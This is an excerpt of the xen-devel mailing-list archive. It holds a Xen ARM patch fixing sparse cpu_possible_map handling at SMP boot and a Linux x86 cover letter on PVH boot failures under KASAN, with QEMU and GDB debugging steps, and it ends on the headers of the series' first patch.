Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tpZOys80WbxwSdxEpywkQX1JarkUqhwV8ONIGlEd7cjgiDqdputtqfIMG4W/R8zn5wnozzD4DyaUfxe5o4Y5Y33qKCiAXWuOX/tLVScqJ5WzLk/IXKdo/pnraNgWnv5A/gT8+h+8w/iKhJIBa3Z1PV5Ahq1Kv1likq01nbDgEIFwazd9j05DUfs/2zxyVMJrdM7zCqhMJlTB9MqT/FK+MyDLXbuXyA/bl8LrwIGIjypShnDAPvow3F6k6ziLOl5kn+S6Qvj31f30i/Q6hvpS7LucgfsaOOoYFjInqMDw5u4eRqWWIUQU3BYhyAoAf5zBUsKoIKhAvUcml1VnKuBIvw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=6tUfFRxT1O+2cz1vpN39n0rIxgr80Gv1sJ1w0nFmvPA=;
 b=S0vCgLdE20YidkYKhV+G2q8wPlGVm5ZFxxmYaHGOY9d+UbX2GTAs1lRyhmAmJ7hnDGpstcyV4HzPkvDzy7vgu2me0pTPceqy6Ex+IFsnbvdI8r3F5Mx5BXae6YSPJNMwkTdY7SViyGhC5OwZ6mw0GLJyxJMhXA6S5VZq/KgkwQrRmZHMyAx0EQA0NZmw+6pOLDF4uMhS3/aevUsTeCFiyc+kEUAM7Ppn1MmoIU8xeGiY0VuHB1Z+N89IevIYTy7fH8C4kH/DaftOyUm24mUDMpFPJi8x/i6i3enoYQYgysfue6UWgTx3hBl2BqMoxB/Cylyo8CLPTePfdxNy8v7emQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=6tUfFRxT1O+2cz1vpN39n0rIxgr80Gv1sJ1w0nFmvPA=;
 b=EHlJDaF9Z50zdu2LlYUDJtZ59ezGV9XnWgV47+Ke4Qx4v3RJByVSPZJmo3Ho2bp3Pl307m7vjPVYPXvNwFAUJ52OGbEz/aOnvm6c4vkdSZztDtMMp0ogKRWy6p4E4nY+nSjC2KW7NGZza6pINBxk2tKYUt0x2hP8v99Eox1vnco=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Michal Orzel <michal.orzel@amd.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v3 1/1] xen/arm: fix sparse cpu_possible_map calculation on SMP boot
Date: Thu,  2 Jul 2026 07:40:57 +0900
Message-ID: <20260701224057.46592-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYWPR01CA0051.jpnprd01.prod.outlook.com
 (2603:1096:400:17f::7) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYYP286MB4652:EE_
X-MS-Office365-Filtering-Correlation-Id: 6ca15ec8-b133-4e1e-a615-08ded7c1e0e9
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|10070799003|1800799024|376014|18002099003|6133799003|56012099006;
X-Microsoft-Antispam-Message-Info:
	uCDPF+66gS3Z92FnzVDALvrvHZkeXnMuxh8n4HS6NxWU871D0PnNeEmVcKc+cKuhC3EAo6SUS6pOXg8ovgnwef4/Ddob3uGrN5zBgeYrKH1TVwK0edUglXRkGdgv3pVBCnthPf8LhNmCR4Tx3I8tdKgnL+JjX91VQv7tdbNyXwV5ygCUOotVnzBEKBs/gOlPr8VlpMVbvpgoPH0hU0PEJeC7UliooEMJIWgWuUlOeJ/E9jSSxTznHYBODEm0yQJ/5g3oRdbpVGk2DEY4mAbRI+sMieGfNe1DxmS6bRwNt8k44Yc/iIYNXiyCEh1iT2hqqMEsYgEx4mkD/ryHKNA2LmFbME6DQjEXWJHTVQi0Q5VIAVpArEEyi8G8VjY8UicXZ5nPe8+jc4p98Tq7W2xrjtHgLlFxW4r1YMyb3KghVm/RkTVT1qjhz+t7KsVbSotmqPqJaMUJw6BU618nCZ50ybgJ0T4LlVgGXLPP3vI91xUi9RnGPzwDFKA0LNEDQnwXKOXPwoZytryNdRcXoEVl9m8hLpBwr/T6Hjq4saZ2Il0yG3T2kMwyKQZLR5etsPPuCij18mqqurERdhRwKUbLm/9ja5aEZtm7uCCbmx+Erf2aHAvPxXhDoxE/hRX1V8OP6fGdA9U10BEG/sz3OeAnIUx1WUvxQ3N/+ZpwBhf/I0E=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(10070799003)(1800799024)(376014)(18002099003)(6133799003)(56012099006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?u51DIDw+1h1O7kzh0fyhpaHzL6pgjTroji5D2PXAqkk3h0j1xGmPaCSfnp73?=
 =?us-ascii?Q?QwhMPf3fTDSSKPl6Mn0JdamCY7vZUL0s4zo281+zQxmX609SkecPvs2p2rsf?=
 =?us-ascii?Q?ZKn7/VkHPtNASA2CemXHPb3U6g7WJEVlog7X62fFT9ZywjmpNIIqRQ8lay5K?=
 =?us-ascii?Q?zDmzuBkpAb/IM+gn494gAo/vfMqs8FR5qUGK4ru+b+7HN3qyXjIIU56eaZtI?=
 =?us-ascii?Q?TFJAtlyjUV4ZQ59aCyFFe8bjbptTar9FbTPvq1x6vIOegAGWYucxw9mLk1vY?=
 =?us-ascii?Q?GPm+ANA0FtYtSnWVtzCK+qYNeNAROnc5HHze8es3d0c3pf0TRM/NhNDpWTMp?=
 =?us-ascii?Q?0aC6xmUEHvkq7aBd659oO33+q7HdO/Aw72tKQbnOFHu1g7kSDKvDbqU27mjJ?=
 =?us-ascii?Q?upcKl62b1YRqZDaRPLnS9pM9Vw5/NwgZe2Oa4BQ/P4sYhoUmgvgcNfVNAluV?=
 =?us-ascii?Q?HPWbsxNvogeFEgcPkak4czkvUM0CNGLSHg4Wr7kXX9XU08BCqH/NeWq/ypWw?=
 =?us-ascii?Q?BT1E3E9MdZsefhrySWc1xzzjrYrBm2or5nZhlHinNmR77g0o7UGohCE0BOLU?=
 =?us-ascii?Q?gIfjQIL0qg/cOfHQ4y4QfD7pgwzfAmkR79Fk9I19u4LSzwxLuQjl5d+R9xLj?=
 =?us-ascii?Q?yg5i5cqMNix52yA1ly86tvwWmepLPLWmGsOErIjGVZ/hR/lpaF+Irz3D+6p/?=
 =?us-ascii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CVcP0j1C01GAe2JMT70IY/gtEZuq0wV3eFdax4MKk4nmnZT6MZ6gk?=
 =?us-ascii?Q?uQRch/y1ribueU19LaTFl79BqNyrsMxkD43MygCDO+KXTK3ZfqGWJhHwlpMF?=
 =?us-ascii?Q?c2/qaZtadOVbZrzPsWypzJCIwtZHE60JATkRXvGrsUFCdtzsDC7Yea9YHySp?=
 =?us-ascii?Q?bgq6djNRbJHM6w+CO+Fl0uJonPkgZ8h0NgepvpJIrFdYfGKEWc/RfBzD6Qjx?=
X-MS-Exchange-AntiSpam-MessageData-1: V/idVtkCyZFaQQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 6ca15ec8-b133-4e1e-a615-08ded7c1e0e9
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 22:41:23.6252
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: YxmtOy6DnknT4kUGZRvzqiYORI+ECH3qdgejKoEH95IxVwosrxzkQdVu7BrjVWOMNMEJ9Uqq1f/lH8VNer3DGA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYYP286MB4652
X-purgate-ID: tlsNG-d25034/1782945689-93536D51-D26E2C5F/0/0
X-purgate-type: clean
X-purgate-size: 2072

Currently, during ARM Xen's SMP initialization, if there is
a Device Tree error (such as an invalid 'enable-method'),
cpu_possible_map can end up being sparse.

The issue here is that nr_cpu_ids is calculated in a way that
doesn't properly account for the maximum CPU ID when the map is
sparse, causing a mismatch. For example, if cpu_possible_map is
0xff0f, nr_cpu_ids becomes 12, but the actual maximum CPU ID
is 15. Xen's common code is built on the assumption that
'CPU ID < nr_cpu_ids', so this mismatch can break things.

To fix this, modify dt_smp_init_cpus() so that if the
arch_cpu_init() call fails, we don't consume the CPU ID slot.

Fixes: 4557c2292854 ("xen: arm: rewrite start of day page table and cpu bring up")
Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v3:
Restore the NR_CPUS check to its original place to properly handle
duplicate nodes.

Changes in v2:
Fix an issue where cpu_logical_map(0) is cleared when boot CPU
initialization fails.

 xen/arch/arm/smpboot.c | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index 7f3cfa812e..ba5fd2dd52 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -238,7 +238,9 @@ static void __init dt_smp_init_cpus(void)
         if ( (rc = arch_cpu_init(i, cpu)) < 0 )
         {
             printk("cpu%d init failed (hwid %"PRIregister"): %d\n", i, hwid, rc);
-            tmp_map[i] = MPIDR_INVALID;
+
+            if ( i != 0 )
+                cpuidx--;
         }
         else
             tmp_map[i] = hwid;
@@ -251,10 +253,9 @@ static void __init dt_smp_init_cpus(void)
         return;
     }
 
-    for ( i = 0; i < cpuidx; i++ )
+    /* Skip CPU 0 as it was already initialized in smp_prepare_boot_cpu(). */
+    for ( i = 1; i < cpuidx; i++ )
     {
-        if ( tmp_map[i] == MPIDR_INVALID )
-            continue;
         cpumask_set_cpu(i, &cpu_possible_map);
         cpu_logical_map(i) = tmp_map[i];
     }
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 23:14:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 23:14:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351035.1608366 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf485-0002R1-93; Wed, 01 Jul 2026 23:14:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351035.1608366; Wed, 01 Jul 2026 23:14:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf485-0002Qu-60; Wed, 01 Jul 2026 23:14:05 +0000
Received: by outflank-mailman (input) for mailman id 1351035;
 Wed, 01 Jul 2026 23:14:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf483-0002Q2-J4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:14:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf482-005FMV-W6
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 01:14:03 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f0d-2eae-0a2a0a5409dd-0a2a4503aa22-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:01 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f38-ec1a-0a2a45030019-d561b3388d86-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:01 +0200
Received: from 186-249-148-121.shared.desktop.com.br ([186.249.148.121]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf47v-007mwb-Nl; Thu, 02 Jul 2026 01:13:55 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:
	Message-Id:Date:Subject:From:Sender:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
	bh=KPoh5iZtQe5yjJ8BhKFDj02hpm18fz4Usa2v0aCCjdc=; b=gJU7SPkIwRAlDPLQHflFtQ7hpg
	uJBIUv8st2IiEmQcrpa124KakyyBu0aIOfjP9xqd2/yul6k45MUQEiFRtCTCmvmcfN0XkW32Pl9Xr
	b2Z2h4Rw8ppO5YNoAHQzGbNQMcTx+ay8X6pfi7iKSiNiZ/iSCzgfgiLkkrwofV8XH9zZkZzOKAFX5
	omKAsq1mys1x2AGbGX6h7MRIoeofeRT12VlR8WPF46Y7VlB/GkkY1lZ5ZLZRODQTiv4c0C0L2SHGI
	KWGy0QFDUiQAv1aTBONRS61exqlVDFlpe3KdBNghouvUB2ecfGNOqa3fhNfJu32/SVr9bLweP/hc4
	0vyyoUIw==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Subject: [PATCH v6 0/4] x86/pvh: fix unbootable VMs again (PVH + KASAN)
Date: Wed, 01 Jul 2026 20:13:49 -0300
Message-Id: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAC2fRWoC/33OwW7DIAyA4VepOI8JDJhmp73H1ANxTIPWkSpMq
 FOVdx/tpZ0S7fhb8mdfReE5cRFvu6uYuaaSptwCX3aCxpCPLNPQWoACVBZAnusoP0MJWaZ8Spk
 lcgzkfdQ9eNHWzjPHdLmTH4fWYyrf0/xzv1D1bfoPVrVU0jPqzhprqYP3dAynFF5p+hI3rcKz4
 DcEaAKQ8/1+oBgxrATzEByoDcE0oeeBPXaETH4l2GcBNwTbhGC0YgzgmIaV4B4Cmq0fXBMchEi
 d73re6z/Csiy/Ee0ZMrkBAAA=
X-Change-ID: 20260422-pvh-kasan-inline-6efac77f1b27
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-33051d/1782947641-077265D1-A708DE76/0/0
X-purgate-type: clean
X-purgate-size: 7218

The issue of unbootable VMs with CONFIG_PVH due to CONFIG_KASAN is back.

Booting directly from vmlinux (instead of bzImage) now fails with gcc-14/15
(but works with gcc-12/13) if CONFIG_KASAN_GENERIC is set, on Ubuntu 25.10.

The PVH code is required/supposed not to use the KASAN memory access check
in the kernel entry point as KASAN has not yet been setup, or an exception
is hit and the boot fails.

This was previously described and addressed with __builtin_mem{cmp,set}():
- commit 661362e3dcab ("xen, pvh: fix unbootable VMs (PVH + KASAN - AMD_MEM_ENCRYPT)")
- commit 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
- commit fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")

However, even with __builtin the compiler may decide to use the out of line
function instead of the inline implementation. So, that does not really fix
the issue unconditionally; see details below.

In order to address this, it's required to switch to inline implementations
that do not depend on the compiler.

There's such a memset() in <asm/string.h> and memcmp() in 'boot/string.c'.
Use them instead of builtins in PVH entry.

Testing:

- Booting from vmlinux (fixed) and bzImage (still works) using
  allnoconfig + CONFIG_PVH + CONFIG_KASAN with gcc-12/13/14/15.

- Building with CONFIG_KEXEC_FILE, CONFIG_CFI and !CONFIG_KASAN with LLVM 20
  (check for a build error not caught previously).

Details/Debugging:

- Only CONFIG_PVH (works):

  make allnoconfig
  ./scripts/config \
    -e 64BIT -e HYPERVISOR_GUEST -e PVH \
    -e SERIAL_8250 -e SERIAL_8250_CONSOLE
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  Linux version ...
  ...
  <Ctrl-C>

- With CONFIG_KASAN (fails)

  ./scripts/config -e KASAN
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  <QEMU reboot loop, flashing the text above>

- Debugging:

  Enable debug info and rebuild.

  QEMU: enable and wait for GDB, stop rebooting, remain running.

  qemu-system-x86_64 \
    -s -S -no-reboot -no-shutdown \
    <other options>

  gdb vmlinux
  (gdb) target remote localhost:1234
  ...
  (gdb) c
  ...
  Thread 2 received signal SIGQUIT, Quit.
  ...
  (gdb) info threads
    Id   Target Id                    Frame
    1    Thread 1.1 (CPU#0 [running]) bytes_is_nonzero (
      start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  * 2    Thread 1.2 (CPU#1 [halted ]) 0x00000000000fd0a9 in ?? ()
  ...
  (gdb) thr 1
  ...
  (gdb) bt
  #0  bytes_is_nonzero (start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  #1  memory_is_nonzero (start=0xfffffbfff031eebe, end=0xfffffbfff031eebf) at .../linux/mm/kasan/generic.c:115
  #2  memory_is_poisoned_n (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:140
  #3  memory_is_poisoned (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:172
  #4  check_region_inline (addr=0xffffffff818f75f0, size=8, write=false, ret_ip=18446744071585002062)
      at .../linux/mm/kasan/generic.c:191
  #5  kasan_check_range (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8, write=write@entry=false,
      ret_ip=18446744071585002062) at .../linux/mm/kasan/generic.c:200
  #6  0xffffffff813eb283 in __asan_loadN (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8)
      at .../linux/mm/kasan/generic.c:278
  #7  0xffffffff815df24e in memcmp (cs=cs@entry=0xffffffff818f75f0, ct=ct@entry=0x1be2fe4, count=<optimized out>,
      count@entry=12) at .../linux/lib/string.c:683
  #8  0xffffffff81ba2323 in cpuid_base_hypervisor (sig=0xffffffff818f75f0 "XenVMMXenVMM", leaves=2)
      at .../linux/arch/x86/include/asm/cpuid/api.h:206
  #9  xen_cpuid_base () at .../linux/arch/x86/include/asm/xen/hypervisor.h:46
  #10 xen_prepare_pvh () at .../linux/arch/x86/platform/pvh/enlighten.c:119
  #11 0x0000000001ba2588 in ?? ()
  #12 0x0000000000000000 in ?? ()
  (gdb)

  Frames #7-#8 show the non-builtin memcmp() (lib/string.c) was called
  even with __builtin_memcmp() being used in cpuid_base_hypervisor().

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
Changes in v6:
- Patch 1:
  - Explain the return value difference between __inline_memcmp() and memcmp().
- Patch 2 (added):
  - Group __inline string functions in <asm/shared/string.h>.
- Link to v5: https://lore.kernel.org/r/20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com

Changes in v5:
- Create a minimal separate header in <asm/shared/string.h> instead,
  to be used by 'boot/setup.c' and <asm/string.h> (Borislav Petkov).
- Patch 1 (in v4/v3) is no longer needed; removed.
- Patch 1 (in v5):
  - Briefly mention there are issues with <asm/string.h>.
  - Remove 'Reviewed-by: Jurgen Gross' to be conservative
    (same code change and result, but the means changed).
- Link to v4: https://lore.kernel.org/r/20260526-pvh-kasan-inline-v4-0-a310e6a25ecd@igalia.com

Changes in v4:
- Patch 1: address Juergen's feedback:
  - s/In next patch/In a future patch/.
  - Move footnote (Reasons not to include...) after "---".
- Add 'Reviewed-by: Juergen Gross' in patches 1 and 2 as well.
- Link to v3: https://lore.kernel.org/r/20260520-pvh-kasan-inline-v3-0-bede769c6ec7@igalia.com

Changes in v3:
- Create and use a separate header for inline string functions
  to fix a build error reported by kernel test robot (patch 1).
- That also removes '#ifndef _SETUP/#endif' in <asm/string.h>.
- Link to v2: https://lore.kernel.org/r/20260427-pvh-kasan-inline-v2-0-2c57b8dcff6a@igalia.com

Changes in v2:
- Add comment about the return value of __inline_memcmp() in patch 1. (v3: now 2)
- Add 'Reviewed-by: Juergen Gross' in patches 2 and 3 (v3: now 3 and 4).
- Link to v1: https://lore.kernel.org/r/20260422-pvh-kasan-inline-v1-0-7e6194344c92@igalia.com

---
Mauricio Faria de Oliveira (4):
      x86/asm, x86/boot: expose inline memcmp
      x86/asm: group inline string functions
      x86/cpuid: fix unbootable VMs by really inlining memcmp() in hypervisor_cpuid_base()
      x86/pvh: fix unbootable VMs by really inlining memset() in xen_prepare_pvh()

 arch/x86/boot/string.c               |  6 ++---
 arch/x86/include/asm/cpuid/api.h     |  2 +-
 arch/x86/include/asm/shared/string.h | 46 ++++++++++++++++++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 +---------------
 arch/x86/platform/pvh/enlighten.c    |  3 ++-
 5 files changed, 52 insertions(+), 26 deletions(-)
---
base-commit: 7de6ae9e12207ec146f2f3f1e58d1a99317e88bc
change-id: 20260422-pvh-kasan-inline-6efac77f1b27

Best regards,
-- 
Mauricio Faria de Oliveira <mfo@igalia.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 23:14:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 23:14:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351036.1608375 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf486-0002f3-ER; Wed, 01 Jul 2026 23:14:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351036.1608375; Wed, 01 Jul 2026 23:14:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf486-0002ew-Bm; Wed, 01 Jul 2026 23:14:06 +0000
Received: by outflank-mailman (input) for mailman id 1351036;
 Wed, 01 Jul 2026 23:14:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf483-0002PW-Ek
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:14:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf482-00ASh6-79
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 01:14:02 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459ef1-e002-0a2a0a5209dd-0a2a450cd8fc-44
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:01 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f38-f399-0a2a450c0019-d561b3388c7a-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:00 +0200
Received: from 186-249-148-121.shared.desktop.com.br ([186.249.148.121]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf47z-007mwb-7e; Thu, 02 Jul 2026 01:13:59 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:In-Reply-To:References:Message-Id:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From:Sender:
	Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender
	:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
	List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=3Q8RixWFQd74HMuP5HaGOdYS+13SFKaeVy8ocqIumpg=; b=noPoX/XetgpOegc7HwgSefBTmJ
	KZDckcpZmFWNHlYHhVu5Xvnno3tKh4KgXwaHzQz+8rRdFUEXbaXEaNl79EufzCb/H8FIOPLShy6Ko
	5ovjkLAdPHWkkNTKgy9aGBTj95EWKkXF9z5XesfcwxtKvShvjMogxAHmKNgHRPSvEi1K3dRhqXZFc
	4ePE/HzL5Lrv9KcQP/01M4LZ/2w8TzYQVJ0Vgu7Ici7G6UE+JHrjC7vLHr/e/RdNllf2edC92wKER
	ownvwb2tgOvy/l2i9rEKEJEsTz1emPXlZTc/dp3bnvDazi5rEliXY5h6g1vJBCWAB/qMG2paFajNy
	AI19vuiA==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Wed, 01 Jul 2026 20:13:50 -0300
Subject: [PATCH v6 1/4] x86/asm, x86/boot: expose inline memcmp
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260701-pvh-kasan-inline-v6-1-ba99045dfa9f@igalia.com>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
